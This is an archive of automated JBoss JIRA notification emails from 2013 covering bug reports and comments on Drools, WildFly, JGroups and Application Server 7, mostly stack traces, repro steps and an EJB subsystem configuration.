>                 URL: https://issues.jboss.org/browse/DROOLS-103
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Geoffrey De Smet
>            Assignee: Mario Fusco
>             Fix For:  6.0.0.CR4
>
>
> On jenkins drools often craches on this line in PackageBuildContext:
> {code}
> this.typesafe = ((MVELDialect) dialectRegistry.getDialect( "mvel" )).isStrictMode();
> {code}
> This happens in the optaplanner and optaplanner-runTurtleTests jobs.
> Locally I haven't seen it yet.
> https://jenkins.mw.lab.eng.bos.redhat.com/hudson/view/Drools%20jBPM/view/Master/job/optaplanner/
> https://jenkins.mw.lab.eng.bos.redhat.com/hudson/view/Drools%20jBPM/view/Master/job/optaplanner-turtleTests/
> {code}
> java.lang.NullPointerException
> 	at org.drools.compiler.rule.builder.PackageBuildContext.init(PackageBuildContext.java:101)
> 	at org.drools.compiler.rule.builder.RuleBuildContext.<init>(RuleBuildContext.java:78)
> 	at org.drools.compiler.compiler.PackageBuilder.addRule(PackageBuilder.java:3028)
> 	at org.drools.compiler.compiler.PackageBuilder.compileRules(PackageBuilder.java:948)
> 	at org.drools.compiler.compiler.PackageBuilder.compileAllRules(PackageBuilder.java:854)
> 	at org.drools.compiler.compiler.CompositeKnowledgeBuilderImpl.buildRules(CompositeKnowledgeBuilderImpl.java:233)
> 	at org.drools.compiler.compiler.CompositeKnowledgeBuilderImpl.buildPackages(CompositeKnowledgeBuilderImpl.java:88)
> 	at org.drools.compiler.compiler.CompositeKnowledgeBuilderImpl.build(CompositeKnowledgeBuilderImpl.java:76)
> 	at org.drools.compiler.kie.builder.impl.AbstractKieModule.buildKnowledgePackages(AbstractKieModule.java:140)
> 	at org.drools.compiler.kie.builder.impl.AbstractKieProject.verify(AbstractKieProject.java:39)
> 	at org.drools.compiler.kie.builder.impl.KieBuilderImpl.buildKieModule(KieBuilderImpl.java:207)
> 	at org.drools.compiler.kie.builder.impl.KieBuilderImpl.buildAll(KieBuilderImpl.java:160)
> 	at org.optaplanner.core.config.score.director.ScoreDirectorFactoryConfig.buildKieBase(ScoreDirectorFactoryConfig.java:305)
> 	at org.optaplanner.core.config.score.director.ScoreDirectorFactoryConfig.buildDroolsScoreDirectorFactory(ScoreDirectorFactoryConfig.java:273)
> 	at org.optaplanner.core.config.score.director.ScoreDirectorFactoryConfig.buildScoreDirectorFactory(ScoreDirectorFactoryConfig.java:180)
> 	at org.optaplanner.core.config.score.director.ScoreDirectorFactoryConfig.buildScoreDirectorFactory(ScoreDirectorFactoryConfig.java:168)
> 	at org.optaplanner.core.config.solver.SolverConfig.buildSolver(SolverConfig.java:144)
> 	at org.optaplanner.core.config.solver.XmlSolverFactory.buildSolver(XmlSolverFactory.java:104)
> 	at org.optaplanner.examples.common.app.SolverPerformanceTest.solve(SolverPerformanceTest.java:86)
> 	at org.optaplanner.examples.common.app.SolverPerformanceTest.runSpeedTest(SolverPerformanceTest.java:71)
> 	at org.optaplanner.examples.examination.app.ExaminationPerformanceTest.solveComp_set5FastAssert(ExaminationPerformanceTest.java:52)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
> 	at java.lang.reflect.Method.invoke(Method.java:597)
> 	at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:47)
> 	at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
> 	at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:44)
> 	at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17)
> 	at org.junit.internal.runners.statements.FailOnTimeout$StatementThread.run(FailOnTimeout.java:74)
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 10:00:03 2013
From: jira-events at lists.jboss.org (Michael Vetter (JIRA))
Date: Fri, 20 Sep 2013 10:00:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1749) Switch from commons-beanutils
 to commons-beanutils-core
In-Reply-To: <JIRA.12497198.1374630000000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497198.1374630000000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497198.1374630000000.37452.1379685603603@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1749?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806089#comment-12806089 ] 

Michael Vetter commented on WFLY-1749:
--------------------------------------

The commons-beanutils-core jar still includes classes from commons-collections in the org.apache.commons.collections package (e.g FastHashMap). This leads to an error in my application that uses module dependencies in jboss-deployment-structure.xml:
IllegalAccessError: tried to access class org.apache.commons.collections.FastHashMap$Values from class org.apache.commons.collections.FastHashMap
When this package is deleted from commons-beanutils-core the application deploys and works without problems.
                
> Switch from commons-beanutils to commons-beanutils-core
> -------------------------------------------------------
>
>                 Key: WFLY-1749
>                 URL: https://issues.jboss.org/browse/WFLY-1749
>             Project: WildFly
>          Issue Type: Bug
>          Components: Build System
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: David Walluck
>            Assignee: Paul Gier
>            Priority: Minor
>
> The commons-beanutils jar includes classes from commons-collections which are not shaded, and should not be used, in any case.
> The dependency can be switched from commons-beanutils:commons-beanutils to commons-beanutils:commons-beanutils-core which does not contain the classes.
> Any module that actually needs the commons-collections classes should ensure that org.apache.commons.collections is also included as an import.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 10:15:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Fri, 20 Sep 2013 10:15:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-260) Drools not writing calendars
 when marshalling
In-Reply-To: <JIRA.12500709.1379130683000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500709.1379130683000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500709.1379130683000.37462.1379686503945@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-260?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco reassigned DROOLS-260:
----------------------------------

    Assignee: Mario Fusco  (was: Mark Proctor)

    
> Drools not writing calendars when marshalling
> ---------------------------------------------
>
>                 Key: DROOLS-260
>                 URL: https://issues.jboss.org/browse/DROOLS-260
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Demian Calcaprina
>            Assignee: Mario Fusco
>
> When serializing Rule class, https://github.com/droolsjbpm/drools/blob/5.5.x/drools-core/src/main/java/org/drools/rule/Rule.java#L122, the write and read external methods does not write and read calendars properties.
> This causes that, if there is a rule which has a calendar in guvnor, for example,
> rule "CalendarTest"
> 		calendars "my cal"
> 		no-loop true
> 		dialect "mvel"
> 		when
> 		then
> 	    	System.out.println("CALENDAR IS FIRIUNG!!!");
> 	end
> when rule is retrieved, calendars are not took into account.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 11:28:03 2013
From: jira-events at lists.jboss.org (Alexey Loubyansky (JIRA))
Date: Fri, 20 Sep 2013 11:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2119) RBAC-based tab completion for
 the CLI commands
In-Reply-To: <JIRA.12501124.1379690777286@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501124.1379690777286@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501124.1379690777286.37553.1379690883402@jira02.app.mwc.hst.phx2.redhat.com>

Alexey Loubyansky created WFLY-2119:
---------------------------------------

             Summary: RBAC-based tab completion for the CLI commands
                 Key: WFLY-2119
                 URL: https://issues.jboss.org/browse/WFLY-2119
             Project: WildFly
          Issue Type: Sub-task
          Components: CLI
            Reporter: Alexey Loubyansky
            Assignee: Alexey Loubyansky
             Fix For: 8.0.0.Beta1


With the RBAC in place, the CLI tab-completion should take the advantage (where possible and reasonable) and suggest only the commands, arguments and argument values that are available and allowed to be executed by the current user.
Since performing access control checks may be time consuming (especially in the domain mode) this feature should be optional and exposed through CLI configuration.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 11:32:04 2013
From: jira-events at lists.jboss.org (Samuel Doyle (JIRA))
Date: Fri, 20 Sep 2013 11:32:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5061) add-user utility reports "No
 java.io.Console available to interact with user." when used silently with
 su and piped to a file.
In-Reply-To: <JIRA.12469374.1340396855000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469374.1340396855000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469374.1340396855000.37569.1379691124353@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-5061?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806115#comment-12806115 ] 

Samuel Doyle commented on AS7-5061:
-----------------------------------

You guys crack me up, the issue is *not* resolved and the same steps I originally reported are the same ones that resulted in me reopening the issue. 

So fine, you can wait until your problem breaks a production deployment for someone that is going to cost you money before you fix it.
                
> add-user utility reports "No java.io.Console available to interact with user." when used silently with su and piped to a file.
> ------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: AS7-5061
>                 URL: https://issues.jboss.org/browse/AS7-5061
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Domain Management, Security
>    Affects Versions: 7.1.2.Final (EAP)
>            Reporter: Samuel Doyle
>            Assignee: Darran Lofthouse
>             Fix For: 7.1.3.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>
>
> ./add-user.sh dustin dustin1 does not work anymore. In previous versions it worked. It has to do with the "theConsole" object being null.
> In the same breadth, the --silent=true option in add-user.sh does not work anymore. Again has to do with the need for "theConsole" object being null.
> The --silent=true option was added because in some environments, System.console() returns null[for example when the Izpack installer calls that script] and the add-user.sh script breaks because of its dependence on System.console() object to print stuff.
> [the "theConsole" object calls the System.console() object] 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 11:44:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 20 Sep 2013 11:44:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5061) add-user utility reports "No
 java.io.Console available to interact with user." when used silently with
 su and piped to a file.
In-Reply-To: <JIRA.12469374.1340396855000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469374.1340396855000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469374.1340396855000.37583.1379691844507@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-5061?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806118#comment-12806118 ] 

Darran Lofthouse commented on AS7-5061:
---------------------------------------

Sorry but this issue has already resulted in code changes that have been applied to the versions identified, reopening of issues breaks the tracking of this history.





                
> add-user utility reports "No java.io.Console available to interact with user." when used silently with su and piped to a file.
> ------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: AS7-5061
>                 URL: https://issues.jboss.org/browse/AS7-5061
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Domain Management, Security
>    Affects Versions: 7.1.2.Final (EAP)
>            Reporter: Samuel Doyle
>            Assignee: Darran Lofthouse
>             Fix For: 7.1.3.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>
>
> ./add-user.sh dustin dustin1 does not work anymore. In previous versions it worked. It has to do with the "theConsole" object being null.
> In the same breadth, the --silent=true option in add-user.sh does not work anymore. Again has to do with the need for "theConsole" object being null.
> The --silent=true option was added because in some environments, System.console() returns null[for example when the Izpack installer calls that script] and the add-user.sh script breaks because of its dependence on System.console() object to print stuff.
> [the "theConsole" object calls the System.console() object] 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 11:46:03 2013
From: jira-events at lists.jboss.org (Ramil Israfilov (JIRA))
Date: Fri, 20 Sep 2013 11:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1702)
 org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,
 -1) causing NullPointerException in EAP6.1.1
In-Reply-To: <JIRA.12501038.1379607058000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501038.1379607058000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501038.1379607058000.37586.1379691963852@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1702?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806119#comment-12806119 ] 

Ramil Israfilov commented on JGRP-1702:
---------------------------------------

actially it seems a problem due to changed way of ChannelService is working.
Behaviour was changed as result of fix in AS7-5904
So ChannelService does not connect.
We had to do connect of channel in our Wrapper class and after that no issue anymore

Also you can check the http://piotrnowicki.com/2013/02/using-jgroups-directly-from-jboss-as-7-component/ as reference.
                
> org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,-1) causing NullPointerException in EAP6.1.1
> --------------------------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1702
>                 URL: https://issues.jboss.org/browse/JGRP-1702
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.10
>         Environment: JBOSS EAP 6.1.1 on Linux CentOS5
>            Reporter: Ramil Israfilov
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> WE were happyly using the counterService.getOrCreateCounter(counter, -1); API in the JBOSS 7.1.3 (JBOSS EAP 6.0.1),
> we tried to migrate to EAP 6.1.1 and got NullPointerException on that call
> Here is the stacktrace:
> Caused by: java.lang.NullPointerException
>         at org.jgroups.util.Owner.hashCode(Owner.java:52) [jgroups-3.2.10.Final-
> redhat-2.jar:3.2.10.Final-redhat-2]
>         at java.util.concurrent.ConcurrentHashMap.put(ConcurrentHashMap.java:882
> ) [rt.jar:1.6.0_26]
>         at org.jgroups.protocols.COUNTER.getOrCreateCounter(COUNTER.java:140) [j
> groups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
>         at org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(CounterSe
> rvice.java:34) [jgroups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
>         at com.alu.mdm.container.jboss.JBossContainerImpl.getOrCreateDistributed
> Counter(JBossContainerImpl.java:102) [:]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 12:17:03 2013
From: jira-events at lists.jboss.org (Max Rydahl Andersen (JIRA))
Date: Fri, 20 Sep 2013 12:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2120) exception during deployment
 when using websocket annotation
In-Reply-To: <JIRA.12501127.1379693713414@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501127.1379693713414@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501127.1379693713414.37628.1379693823412@jira02.app.mwc.hst.phx2.redhat.com>

Max Rydahl Andersen created WFLY-2120:
-----------------------------------------

             Summary: exception during deployment when using websocket annotation
                 Key: WFLY-2120
                 URL: https://issues.jboss.org/browse/WFLY-2120
             Project: WildFly
          Issue Type: Bug
          Components: Web (Undertow)
    Affects Versions: 8.0.0.Alpha4
         Environment: using wildfly master
            Reporter: Max Rydahl Andersen
            Assignee: Stuart Douglas


This exception occurs during deployment:

"17:07:33,154 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-3) MSC000001: Failed to start service jboss.undertow.deployment.default-host./jboss-as-kitchensink: org.jboss.msc.service.StartException in service jboss.undertow.deployment.default-host./jboss-as-kitchensink: Failed to start service
at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
Caused by: org.jboss.weld.exceptions.IllegalArgumentException: JBAS016071: Singleton not set for ModuleClassLoader for Module "org.wildfly.extension.undertow:main" from local module loader @21d1cd0d (finder: local module finder @54ed21d3 (roots: /Users/max/code/wildfly/build/target/wildfly-8.0.0.Beta1-SNAPSHOT/modules,/Users/max/code/wildfly/build/target/wildfly-8.0.0.Beta1-SNAPSHOT/modules/system/layers/base)). This means that you are trying to access a weld deployment with a Thread Context ClassLoader that is not associated with the deployment.
at org.jboss.weld.manager.InjectionTargetFactoryImpl.createInjectionTarget(InjectionTargetFactoryImpl.java:83)
at org.jboss.weld.manager.InjectionTargetFactoryImpl.createInjectionTarget(InjectionTargetFactoryImpl.java:69)
"

full details at https://gist.github.com/maxandersen/798e6f9eb9c23285df5d

When I have this annotation on a class:

@javax.websocket.server.ServerEndpoint(
        value = "/registration", 
        encoders = {MemberEncoder.class})

Without it things deploy but of course the websocket does not work.

Full example:
https://github.com/pjiricka/jboss-as-quickstart/commit/7484d494ea294034aded6a28b80a5c754053bc03

/kitchensink in this repo fails with this commit.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 12:19:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 12:19:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-835) @Resource UserTransaction
 error when file passivation store is selected
In-Reply-To: <JIRA.12486327.1362495445000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12486327.1362495445000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12486327.1362495445000.37642.1379693943978@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-835?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-835:
-----------------------------

           Description: 
The following exception is launched when the server tries to passivate into the file passivation storage a stateful EJB session with UserTransaction injected as a resource:

{noformat}
[org.jboss.as.ejb3.cache.spi.impl.PassivateTask] (pool-10-thread-1) JBAS014538: Failed to passivate {[-36, 0, 14, -43, 72, 10, 76, -28, -105, -108, 24, 45, -70, -58, -48, -107]}: java.lang.RuntimeException: JBAS014538: Failed to passivate {[-36, 0, 14, -43, 72, 10, 76, -28, -105, -108, 24, 45, -70, -58, -48, -107]}
	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:248) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:52) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.impl.backing.SimpleBackingCacheEntryStore.passivate(SimpleBackingCacheEntryStore.java:155) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberContainer.passivate(SerializationGroupMemberContainer.java:288) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberContainer.passivate(SerializationGroupMemberContainer.java:50) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.impl.backing.PassivatingBackingCacheImpl.passivate(PassivatingBackingCacheImpl.java:190) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.impl.backing.PassivatingBackingCacheImpl.passivate(PassivatingBackingCacheImpl.java:60) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.spi.impl.PassivateTask.run(PassivateTask.java:45) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) [rt.jar:1.7.0_13]
	at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334) [rt.jar:1.7.0_13]
	at java.util.concurrent.FutureTask.run(FutureTask.java:166) [rt.jar:1.7.0_13]
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:178) [rt.jar:1.7.0_13]
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:292) [rt.jar:1.7.0_13]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_13]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_13]
	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_13]
Caused by: java.io.NotSerializableException: org.jboss.tm.usertx.client.ServerVMClientUserTransaction
	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:891)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
	at org.jboss.marshalling.river.BlockMarshaller.doWriteObject(BlockMarshaller.java:69)
	at org.jboss.marshalling.river.BlockMarshaller.writeObject(BlockMarshaller.java:60)
	at org.jboss.marshalling.MarshallerObjectOutputStream.writeObjectOverride(MarshallerObjectOutputStream.java:54)
	at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:342) [rt.jar:1.7.0_13]
	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberImpl.writeObject(SerializationGroupMemberImpl.java:368) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_13]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_13]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_13]
	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_13]
	at org.jboss.marshalling.reflect.SerializableClass.callWriteObject(SerializableClass.java:175)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1007)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
	at org.jboss.marshalling.AbstractObjectOutput.writeObject(AbstractObjectOutput.java:62)
	at org.jboss.marshalling.AbstractMarshaller.writeObject(AbstractMarshaller.java:119)
	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:239) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	... 15 more
Caused by: an exception which occurred:
	in field userTransaction
	in field instance
	in field instance
	in object org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberImpl at 6a4de0c9
{noformat}

The EJB subsystem configuration is:

{code:xml}
<subsystem xmlns="urn:jboss:domain:ejb3:1.2">
            <session-bean>
                <stateless>
                    <bean-instance-pool-ref pool-name="slsb-strict-max-pool"/>
                </stateless>
                <stateful default-access-timeout="10000" cache-ref="passivating"/>
                <singleton default-access-timeout="5000"/>
            </session-bean>
            <mdb>
                <resource-adapter-ref resource-adapter-name="hornetq-ra"/>
                <bean-instance-pool-ref pool-name="mdb-strict-max-pool"/>
            </mdb>
            <pools>
                <bean-instance-pools>
                    <strict-max-pool name="slsb-strict-max-pool" max-pool-size="50" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
                    <strict-max-pool name="mdb-strict-max-pool" max-pool-size="20" instance-acquisition-timeout="5" instance-acquisition-timeout-unit="MINUTES"/>
                </bean-instance-pools>
            </pools>
            <caches>
                <cache name="simple" aliases="NoPassivationCache"/>
                <cache name="passivating" passivation-store-ref="file" aliases="SimpleStatefulCache"/>
            </caches>
            <passivation-stores>
                <file-passivation-store name="file" idle-timeout="10" idle-timeout-unit="SECONDS"/>
            </passivation-stores>
            <async thread-pool-name="default"/>
            <timer-service thread-pool-name="default">
                <data-store path="timer-service-data" relative-to="jboss.server.data.dir"/>
            </timer-service>
            <remote connector-ref="remoting-connector" thread-pool-name="default"/>
            <thread-pools>
                <thread-pool name="default">
                    <max-threads count="100"/>
                    <keepalive-time time="100" unit="milliseconds"/>
                </thread-pool>
            </thread-pools>
            <iiop enable-by-default="false" use-qualified-name="false"/>
        </subsystem>
{code}


  was:
The following exception is launched when the server tries to passivate into the file passivation storage a stateful EJB session with UserTransaction injected as a resource:

[org.jboss.as.ejb3.cache.spi.impl.PassivateTask] (pool-10-thread-1) JBAS014538: Failed to passivate {[-36, 0, 14, -43, 72, 10, 76, -28, -105, -108, 24, 45, -70, -58, -48, -107]}: java.lang.RuntimeException: JBAS014538: Failed to passivate {[-36, 0, 14, -43, 72, 10, 76, -28, -105, -108, 24, 45, -70, -58, -48, -107]}
	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:248) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.spi.impl.FilePersistentObjectStore.store(FilePersistentObjectStore.java:52) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.impl.backing.SimpleBackingCacheEntryStore.passivate(SimpleBackingCacheEntryStore.java:155) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberContainer.passivate(SerializationGroupMemberContainer.java:288) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.impl.backing.SerializationGroupMemberContainer.passivate(SerializationGroupMemberContainer.java:50) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.impl.backing.PassivatingBackingCacheImpl.passivate(PassivatingBackingCacheImpl.java:190) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.impl.backing.PassivatingBackingCacheImpl.passivate(PassivatingBackingCacheImpl.java:60) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.as.ejb3.cache.spi.impl.PassivateTask.run(PassivateTask.java:45) [jboss-as-ejb3-7.1.1.Final.jar:7.1.1.Final]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) [rt.jar:1.7.0_13]
	at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334) [rt.jar:1.7.0_13]
	at java.util.concurrent.FutureTask.run(FutureTask.java:166) [rt.jar:1.7.0_13]
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:178) [rt.jar:1.7.0_13]
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:292) [rt.jar:1.7.0_13]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_13]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_13]
	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_13]
Caused by: java.io.NotSerializableException: org.jboss.tm.usertx.client.ServerVMClientUserTransaction
	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:891)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteFields(RiverMarshaller.java:1063)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteSerializableObject(RiverMarshaller.java:1019)
	at org.jboss.marshalling.river.RiverMarshaller.doWriteObject(RiverMarshaller.java:885)
